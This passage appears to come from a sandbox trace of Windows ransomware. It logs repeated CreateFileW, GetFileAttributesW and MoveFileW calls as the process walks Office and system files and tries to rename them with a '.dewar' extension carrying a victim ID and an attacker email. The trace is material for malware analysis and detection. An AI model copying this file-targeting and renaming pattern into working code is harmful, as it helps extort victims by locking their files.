Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0242.025] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=613) returned 1 [0242.025] CloseHandle (hObject=0x1f0) returned 1 [0242.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf")) returned 0x20 [0242.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf")) returned 0x20 [0242.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.026] SetEvent (hEvent=0x118) returned 1 [0242.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0242.028] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=47962) returned 1 [0242.028] CloseHandle (hObject=0x1f0) returned 1 [0242.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0242.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 0x20 [0242.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0242.030] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3611) returned 1 [0242.030] CloseHandle (hObject=0x1f0) returned 1 [0242.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0242.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0242.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0242.200] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=103279) returned 1 [0242.201] CloseHandle (hObject=0x1ec) returned 1 [0242.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm")) returned 0x20 [0242.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm")) returned 0x20 [0242.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.202] SetEvent (hEvent=0x118) returned 1 [0242.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0242.203] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=34163) returned 1 [0242.203] CloseHandle (hObject=0x1ec) returned 1 [0242.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0242.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0242.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0242.418] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=937) returned 1 [0242.418] CloseHandle (hObject=0x1b0) returned 1 [0242.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0242.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0242.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.419] SetEvent (hEvent=0x118) returned 1 [0242.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0242.569] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=484) returned 1 [0242.569] CloseHandle (hObject=0xe0) returned 1 [0242.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf")) returned 0x20 [0242.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf")) returned 0x20 [0242.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.570] SetEvent (hEvent=0x118) returned 1 [0242.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.905] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=555) returned 1 [0242.905] CloseHandle (hObject=0x1e0) returned 1 [0242.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf")) returned 0x20 [0242.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf")) returned 0x20 [0242.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0242.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.906] SetEvent (hEvent=0x118) returned 1 [0242.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0242.913] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1658904) returned 1 [0242.913] CloseHandle (hObject=0x1e0) returned 1 [0242.913] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0x20 [0242.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0242.914] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its")) returned 0 [0242.914] SetEvent (hEvent=0x118) returned 1 [0243.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.151] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=978206) returned 1 [0243.151] CloseHandle (hObject=0x1e0) returned 1 [0243.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0243.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its")) returned 0x20 [0243.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.152] SetEvent (hEvent=0x118) returned 1 [0243.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0243.400] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=436710) returned 1 [0243.400] CloseHandle (hObject=0x1b0) returned 1 [0243.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx")) returned 0x20 [0243.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx")) returned 0x20 [0243.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.401] SetEvent (hEvent=0x118) returned 1 [0243.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0243.570] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=14951) returned 1 [0243.570] CloseHandle (hObject=0xe0) returned 1 [0243.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0243.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0243.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.570] SetEvent (hEvent=0x118) returned 1 [0243.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.361] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=93696) returned 1 [0244.362] CloseHandle (hObject=0xe0) returned 1 [0244.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0244.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0244.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.364] SetEvent (hEvent=0x118) returned 1 [0244.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.369] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=630) returned 1 [0244.369] CloseHandle (hObject=0xe0) returned 1 [0244.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0244.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0244.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.370] SetEvent (hEvent=0x118) returned 1 [0244.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0244.371] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=623) returned 1 [0244.371] CloseHandle (hObject=0xe0) returned 1 [0244.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0244.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0244.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0244.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common 